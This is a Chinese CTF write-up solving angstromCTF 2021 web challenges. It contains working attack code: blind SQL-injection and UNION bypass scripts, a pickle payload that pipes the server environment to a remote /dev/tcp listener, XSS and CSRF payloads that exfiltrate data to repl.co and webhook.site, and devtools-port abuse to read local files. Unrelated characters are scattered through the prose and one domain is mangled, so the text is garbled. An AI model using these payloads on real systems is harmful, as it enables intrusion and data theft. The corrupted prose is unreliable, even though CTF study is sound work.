放假時做了下 angstromCTF的題目, 質量都挺不錯的加勤。這里記錄下自己做出來的題目以及復現(xiàn)的偿曙。
(反觀某國內比賽智障腦洞題, 真的無語
Sea of Quills
題目給了ruby 源碼方庭。 有很明顯的注入套像。
blacklist = ["-", "/", ";", "'", "\""]
blacklist.each { |word|
if cols.include? word
return "beep boop sqli detected!"
end
}
if !/^[0-9]+$/.match?(lim) || !/^[0-9]+$/.match?(off)
return "bad, no quills for you!"
end
@row = db.execute("select %s from quills limit %s offset %s" % [cols, lim, off])
基本沒waf. 直接子查詢查表名,再從flagtable查flag即可
col=(select flag from flagtable)
Sea of Quills2
第二版就很有意思了聪廉。加上了看似非常嚴格的waf. col長度不能超過24.limit 與offset需要為數(shù)字聂受。
blacklist = ["-", "/", ";", "'", "\"", "flag"]
blacklist.each { |word|
if cols.include? word
return "beep boop sqli detected!"
end
}
if cols.length > 24 || !/^[0-9]+$/.match?(lim) || !/^[0-9]+$/.match?(off)
return "bad, no quills for you!"
end
@row = db.execute("select %s from quills limit %s offset %s" % [cols, lim, off])
要知道select*fromsqlite_master
才24字母。就是說子查詢肯定不可行坦喘。那么要如何注入呢?
這時我想起去年做過的zer0pts2020 里的urlapp, 一道利用url打redis 改鍵名讀鍵名的題目盲再。那道題的有趣之處在于使用BITOP
進行按位改, 然而漏洞根源卻是,ruby正則的脆弱性導致了可以傳入\n
bypass 正則, 從而SSRF 打 redis.
所以此處唯一可能繞過的地方自然是limit 與offset. 當我fuzz limit 傳入\n
時,發(fā)現(xiàn)正則確實被繞過了瓣铣。而且除此之外答朋,還能在\n
后傳入任意字符而不被waf匹配到。
(之后了解到ruby正則只匹配單行)
所以就是盲注的事了棠笑。我用比較偏愛的報錯區(qū)分狀態(tài)碼來注入
import requests
import string
url = 'https://seaofquills-two.2021.chall.actf.co/'
res = ''
for j in range(1,100):
print(j)
for i in string.printable:
r = requests.post(url + 'quills', data={
'cols': "(select 1)",
'limit': "2\n or abs(case when(substr((select flag from flagtable limit 1),"+ str(j) +",1)='" + i + "') then -9223372036854775808 else 0 end);",
"offset": "3"
})
if r.status_code == 500:
res += i
print(res)
break
后來想起來直接union select就行了 ..
cols: "* FROM(select name,desc"
limit: "1"
offset: "1\n) UNION SELECT flag, 1 FROM flagtable"
(所以這題zer0pts 拿一血很合理 2333
Jar
pickle 反序列化梦碗。
import pickle
from base64 import b64encode as b64
class exp(object):
def __reduce__(self):
cmd = ['bash', '-c', 'echo $(env) > /dev/tcp/xxx/9001 ']
return __import__('subprocess').check_output, (cmd,)
e = exp()
s = pickle.dumps(e)
payload = b64(s).decode()
url = 'https://jar.2021.chall.actf.co/add'
r = requests.post(url, cookies={'contents': payload})
print(r.text)
nomnomnom
題目給了源碼(不過,貌似不給源碼也能做)腐晾〔嫦遥可以鎖定關鍵代碼發(fā)現(xiàn)這是一道xss題目
app.get('/shares/:shareName', function(req, res) {
// TODO: better page maybe...? would attract those sweet sweet vcbucks
if (!(req.params.shareName in shares)) {
return res.status(400).send('hey that share doesn\'t exist... are you a time traveller :O');
}
const share = shares[req.params.shareName];
const score = share.score;
const name = share.name;
const nonce = crypto.randomBytes(16).toString('hex');
let extra = '';
if (req.cookies.no_this_is_not_the_challenge_go_away === nothisisntthechallenge) {
extra = `deletion token: <code>${process.env.FLAG}</code>`
}
return res.send(`
<!DOCTYPE html>
<html>
<head>
<meta http-equiv='Content-Security-Policy' content="script-src 'nonce-${nonce}'">
<title>snek nomnomnom</title>
</head>
<body>
${extra}${extra ? '<br /><br />' : ''}
<h2>snek goes <em>nomnomnom</em></h2><br />
Check out this score of ${score}! <br />
<a href='/'>Play!</a> <button id='reporter'>Report.</button> <br />
<br />
This score was set by ${name}
<script nonce='${nonce}'>
function report() {
fetch('/report/${req.params.shareName}', {
method: 'POST'
});
}
document.getElementById('reporter').onclick = () => { report() };
</script>
</body>
</html>`);
});
app.post('/report/:shareName', async function(req, res) {
if (!(req.params.shareName in shares)) {
return res.status(400).send('hey that share doesn\'t exist... are you a time traveller :O');
}
await visiter.visit(
nothisisntthechallenge,
`http://localhost:9999/shares/${req.params.shareName}`
);
})
同時注意到bot 用到的是firefox 的 puppeteer
async function visit(secret, url) {
const browser = await puppeteer.launch({ args: ['--no-sandbox'], product: 'firefox' })
var page = await browser.newPage()
await page.setCookie({
name: 'no_this_is_not_the_challenge_go_away',
value: secret,
domain: 'localhost',
samesite: 'strict'
})
await page.goto(url)
// idk, race conditions!!! :D
await new Promise(resolve => setTimeout(resolve, 500));
await page.close()
await browser.close()
}
簡而言之。我們現(xiàn)在可控shares
頁面下直接拼接的score與name.但是頁面存在CSP 的nonce 且nonce為動態(tài)刷新. 我們可控點在含nounce的script 正上方藻糖。
首先對于這個CSP, 其實是非常奇怪的淹冰。一般來說設置script-nonce 可能會先加上script-src: 'self'
default-src: 'self'
base-uri: none
之類的。其中一種繞過方法是在沒有base-uri
的情況下先插入base標簽再插入scipt(帶nonce),達成xss; 但是這些要求nonce可控巨柒,此處自然是不行的樱拴。
但是,注意到我們可控的name就在script
標簽正上方柠衍,一個樸素的想法自然是,想辦法讓我們的標簽把下面的吞掉晶乔,并且nonce 正好帶進去就行了珍坊。
<script src='data:text/plain,alert(1)' a=
當然能吞進去,此時在firefox下就已經能xss了.但是chrome下可以么正罢?為了避免<
字符的影響,這里我嘗試了下設置同名屬性阵漏,因為瀏覽器會忽略第二個同名屬性。結果發(fā)現(xiàn)chrome下確實觸發(fā)不了,盡管已經解析成正確的代碼了
基于題目是firefox,直接xss傳html代碼就行翻具。
def xss():
r = requests.post(url + 'record', json={
'name': """<script src="data:text/plain,location. a=123 a=""",
"score": 44
})
print(r.text)
def submit():
r = requests.post(url + 'report/376d2d58a518de7b')
print(r.text)
Reaction . py
這題吃了個沒域名的虧履怯。 不然很快就能出。裆泳。叹洲。??
本題同樣是xss.關鍵代碼在于
def add_component(name, cfg, bucket):
if not name or not cfg:
return (ERR, "Missing parameters")
if len(bucket) >= 2:
return (ERR, "Bucket too large (our servers aren't very good :((((()")
if len(cfg) > 250:
return (ERR, "Config too large (our servers aren't very good :((((()")
if name == "welcome":
if len(bucket) > 0:
return (ERR, "Welcomes can only go at the start")
bucket.append(
"""
<form action="/newcomp" method="POST">
<input type="text" name="name" placeholder="component name">
<input type="text" name="cfg" placeholder="component config">
<input type="submit" value="create component">
</form>
<form action="/reset" method="POST">
<p>warning: resetting components gets rid of this form for some reason</p>
<input type="submit" value="reset components">
</form>
<form action="/contest" method="POST">
<div class="g-recaptcha" data-sitekey="{}"></div>
<input type="submit" value="submit site to contest">
</form>
<p>Welcome <strong>{}</strong>!</p>
""".format(
captcha.get("sitekey"), escape(cfg)
).strip()
)
elif name == "char_count":
bucket.append(
"<p>{}</p>".format(
escape(
f"<strong>{len(cfg)}</strong> characters and <strong>{len(cfg.split())}</strong> words"
)
)
)
elif name == "text":
bucket.append("<p>{}</p>".format(escape(cfg)))
elif name == "freq":
counts = Counter(cfg)
(char, freq) = max(counts.items(), key=lambda x: x[1])
bucket.append(
"<p>All letters: {}<br>Most frequent: '{}'x{}</p>".format(
"".join(counts), char, freq
)
)
else:
return (ERR, "Invalid component name")
return (OK, bucket)
name 有四種方式,都會把部分html塞入bucket
。我們訪問頁面時bucket會作為html代碼返回工禾。目標是xss拿到admin的bucket內容
注意到运提,四種方式里只有一種freq
是塞入的沒有經過escape
的代碼。也就是說想做到xss,就要塞入<
,也就只能選這條路了闻葵。
但是其要求很嚴苛民泵。他回顯的是"".join(counts) => "".join(Counter(cfg))
。就是說我們payload中重復的部分會被去掉笙隙。我們要嘗試沒有重復字符的xss. 近似解決的想法自然是<script src=http://xxx/>
洪灯。但像域名或者其他位置仍然有重復字符坎缭。
這里我很快想到一個很著名的問題 http://www.unicode.org/reports/tr46/竟痰。也就是不同字符造成相同domain解析的問題(為了照顧不同語種用戶)。
同時,html標簽支持大小寫掏呼。那么想要不重復字符大概只有一種方式了
<SCRIPT src=//YOUR_DOMAIN>
注意//
這種加載方式坏快。如果跑在web服務器上,https就會自動找https://YOUR_DOMAIN
,http就會自動找http://YOUR_DOMAIN
憎夷。
不過我們沒法傳入倆個/
莽鸿。當然,嘗試hTtp:/xxx
縮減一個/
也是可以的,可惜這樣t
字符又會重復。簡單測試了下拾给,發(fā)現(xiàn)\
可以替代/
(unicode /
字符不能替代)祥得。所以最后轉下domain為unicode就可以了。(或者也許有dalao 有不跟前面字符重復的短域名蒋得?)這里我因為沒開https,沒有博客以外的域名级及,只好去 repl.it 開了個臨時node 2333
domain的轉換可以使用 https://splitline.github.io/domain-obfuscator/ 之前在bamboofox CTF中用過
def add():
r = requests.post(url + 'newcomp', data={
'name': "freq",
'cfg': "<SCRIPT src=\/ⅹ.????4。??????o>"
}, cookies={
'session': "eyJ1c2VybmFtZSI6ImJ5YzQwNiJ9.YGkXgQ.QZ2FZ8USqQHWcjStB4p6tTfbsUo"
})
print(r.text)
add()
repl.it上放的是
fetch('/?fakeuser=admin').then(r => r.text()).then(r => fetch(`https://x.byc404.repl.co/?flag=${btoa(r)}`,{'mode':'no-cors'}))
ps: 其實這個unicode的問題在nodejs 8及以前得版本表現(xiàn)得比較嚴重额衙。因為其http
庫在這基礎上沒有過濾掉\r\n
饮焦。直接導致CRLF怕吴。
jason
CSRF。 源碼關鍵部分如下
function sameOrigin (req, res, next) {
if (req.get('referer') && !req.get('referer').startsWith(process.env.URL))
return res.sendStatus(403)
return next()
}
app.post('/passcode', function (req, res) {
if (req.body.passcode === 'CLEAR') res.append('Set-Cookie', 'passcode=')
else res.append('Set-Cookie', `passcode=${(req.cookies.passcode || '')+req.body.passcode}`)
return res.redirect('/')
})
app.post('/visit', async function (req, res) {
if (req.body.site.startsWith('http')) try {await jason.visit(req.body.site) } catch (e) {console.log(e)}
return res.redirect('/')
})
app.get('/languages', sameOrigin, function (req, res) {
res.jsonp({category: 'languages', items: ['C++', 'Rust', 'OCaml', 'Lisp', 'Physical touch']})
})
app.get('/friends', sameOrigin, function (req, res) {
res.jsonp({category: 'friends', items: ['Functional programming']})
})
app.get('/flags', sameOrigin, function (req, res) {
console.log(req.cookies);
if (req.cookies.passcode !== process.env.PASSCODE) return res.sendStatus(403)
res.jsonp({category: 'flags', items: [process.env.FLAG]})
})
app.listen(7331)
其中visit部分是個 puppeteer 的bot訪問县踢。
首先很明顯转绷。flag在jsonp處。理論上獲得jsonp返回值即可硼啤。但是它作了referer的檢查议经。這個倒是挺好繞。因為它只考慮了有referer的情況下需要從它的主站來谴返。所以不帶referer即可爸业。
但是,此處我們想外帶data必然要劫持jsonp亏镰。也就是要讓其返回內容作為頁面下的可控javascript扯旷。所以得用script來跨域加載。 (現(xiàn)在chrome的CORB防范真的非常嚴格索抓,script只會跨域加載 text/javascript的資源,不過還好jsonp本身就是種跨域方式)
const script = document.createElement('script');
script.referrerpolicy = 'no-referrer'
script.src = "http://127.0.0.1:7331/flags?callback=load"
document.head.appendChild(script)
獲得jsonp的方法明白了之后還有一點注意钧忽,我們需要admin帶cookie訪問才能獲得flags的jsonp內容。然而這里是express 自帶的jsonp而不是那種php自寫的jsonp逼肯。其callback并不能做到任意字符,也就沒有xss了耸黑。所以這個站并沒有xss利用來獲取dom的內容
所以。單純利用csrf怎么才能有權訪問jsonp呢篮幢?這里如果注意到passcode的奇怪寫法大刊,方法就水落石出了。
res.append('Set-Cookie', `passcode=${(req.cookies.passcode || '')+req.body.passcode}`)
此處passcode完全可控三椿。也就是說缺菌,我們可以在set-cookie原本的cookie后加入任意內容。要加什么搜锰,或者說能加什么伴郁,MDN寫的是很清楚的
cookie的幾個安全屬性中。httpOnly與SameSite 是用的非常多的蛋叼。其中httpOnly可以防止通過dom獲取cookie.SameSite則指定cookie的作用域焊傅。尤其在跨域請求上作用很大。(如果samesite 為none, 即使是csrf也可以利用跨域請求進行xsleak)
一般來說沒有設置SameSite 的話狈涮,默認是為Lax的狐胎。也就是默認防csrf.所以這里直接利用passcode 設置為None即可。
注意的是「桠桑現(xiàn)在SameSite 為None.時握巢,必須設置Secure為true,也就是必須在https上(除了localhost)才有效。
這里簡單寫個表單提交(其他請求如fetch不會順著跳轉骆姐。這樣set-cookie 就沒意義了镜粤。)捏题。我們在本頁面開個新窗口執(zhí)行表單后一直調用 location.reload()刷新本頁面。這樣等cookie在我們的惡意html處生效時肉渴,就會調用被劫持的load了公荧。這里可以fetch請求下自己的站外帶數(shù)據(jù),也可以navigator.sendBeacon
post數(shù)據(jù)
這里因為他遠程的puppeteer 沒有timeout.所以最好把interVal的間隔設短點同规。
<script>
const script = document.createElement('script');
script.referrerpolicy = 'no-referrer'
script.src = "http://127.0.0.1:7331/flags?callback=load"
document.head.appendChild(script)
const load = (data) => {
navigator.sendBeacon('https://webhook.site/48cbda29-080e-442f-8040-7a52a9093234', window.btoa(data))
}
w = window.open('poc2.html')
setInterval(() => {
location.reload()
}, 100)
</script>
<form action="http://127.0.0.1:7331/passcode" method="post" id="form">
<input type="hidden" name="passcode" value="; SameSite=None; Secure">
</form>
<script>form.submit()</script>
后來看了官方題解循狰。基本是一致的券勺。不過他用localStorage.done = true
也就是localStorage來存了個標記變量绪钥。這樣的話保證只會在表單提交好,并且跳轉完后才reload.
setInterval(function () {
try { w.location.href }
catch (e) { localStorage.done = true; location.reload() }
}, 10)
actf{jason's_site_isn't_so_lax_after_all}
Spoofy
這題沒做关炼。程腹。。但是解出人數(shù)挺多的儒拂。后來發(fā)現(xiàn)可能是錯過了一篇文章
https://jetmind.github.io/2016/03/31/heroku-forwarded.html
簡單的說寸潦。就是heroku可能會把真實ip append到x-forwarded-for 后。假如傳的時候帶了兩個xff社痛。就可能會解析成
{"x-forwarded-for" "10.10.10.10,99.99.99.99,20.20.20.20"}
其中 99.99.99.99 是被加進去的真實ip见转。
本題源碼部分只要求xff 里,
分割后的ip里。第一個與最后一個相同且為1.3.3.7
蒜哀。所以加個逗號即可
X-Forwarded-For: 1.3.3.7
X-Forwarded-For: , 1.3.3.7
Watered Down Watermark as a Service
這題因為沒時間就沒看斩箫。但是記得題目名在diceCTF里出現(xiàn)過。后來賽后發(fā)現(xiàn)diceCTF的非預期在這里還有撵儿。當時在discord里見到有師傅提到用chrome的devtools port做的乘客。印象還很深刻。一方面统倒,byteCTF 線下決賽有個markdownxss, 好像是找瀏覽器0day xss 后再利用chrome 的devtools port 來著寨典。另一方面我自己寫selenium爬蟲時發(fā)現(xiàn)如果調用的是selenium-webdriver/chrome
也就是自己庫里的chrome而不是本機的chrome時,會自動開個devtools 端口來調試房匆。此題用到的puppeteer也是一樣
首先第一步是找到devtools 的端口。由于可以通過http 訪問报亩。所以我們只要小范圍爆破即可浴鸿。注意源碼的限制
app.use((req, res, next) => {
res.set('X-Frame-Options', 'deny');
res.set('X-Content-Type-Options', 'nosniff');
next()
})
...
async function visit (url) {
if (!checkURL(url)) return 'no!!!!'
let ctx = await (await browser).createIncognitoBrowserContext()
let page = await ctx.newPage()
page.on('framenavigated',function(frame){
if (!checkURL(frame.url())) return 'no!!!!'
})
......
function checkURL(url) {
const urlobj = new URL(url)
if(!urlobj.protocol || !['http:','https:'].some(x=>urlobj.protocol.includes(x)) || urlobj.hostname.includes("actf.co")) return false
return true
}
一方面限制了iframe。( 如果頁面加載失敗弦追。它會定向到chrome://network-error/岳链。而這個就沒法判斷了)。同時也用X-Content-Type-Options
限制了script.不能script跨域加載劲件。
所以此處我們可以用其他跨域請求方法掸哑。fetch + no-cors即可约急。
<html>
<head>byc</head>
<body>
<script>
for (let port = 40000; port < 45000; port++) {
const url = `http://127.0.0.1:${port}`
fetch(url, {mode: 'no-cors'}).then(res => {
document.body.innerHTML += `\n${url}`
})
}
</script>
<link rel="stylesheet" href="http://difajosdifjwioenriqoewrowifjaoijdaf.com">
</body>
</html>
之后我們訪問其json/new
路由。他會
Opens a new tab. Responds with the websocket target data for the new tab.
這樣就會新開一個標簽頁苗分。且我們能執(zhí)行任意js.為了獲取flag自然是http://127.0.0.1:40027/json/new?file:///app/flag.txt
來用瀏覽器打開flag
根據(jù) https://chromedevtools.github.io/devtools-protocol/tot/Runtime/#method-evaluate
我們可以用Runtime.evaluate 來執(zhí)行任意js
window.ws = new WebSocket(`ws://127.0.0.1:40027/devtools/page/98D1EC60387BE0038D514389E2887339 `)
ws.onmessage = (e => { document.writeln("<h3>" + e.data + "</h3>"); })
ws.onopen = () => {
ws.send(JSON.stringify({
id: 1,
method: 'Runtime.evaluate',
params: { expression: 'document.body.innerHTML' }
}))
}
還是學到很多的厌蔽。預期好像是構造BSON 數(shù)據(jù)。感覺跟web關系不大摔癣。奴饮。。
Summary
總的來說題目質量都很不錯择浊。很難想象是給高中生準備的題戴卜。。琢岩。關于前端的一些知識自己也有了一些新的見解投剥。希望能有機會總結下。
References
https://github.com/qxxxb/ctf/tree/master/2021/angstrom_ctf/watered_down_watermark
https://github.com/r00tstici/writeups/tree/master/angstromCTF_2021/spoofy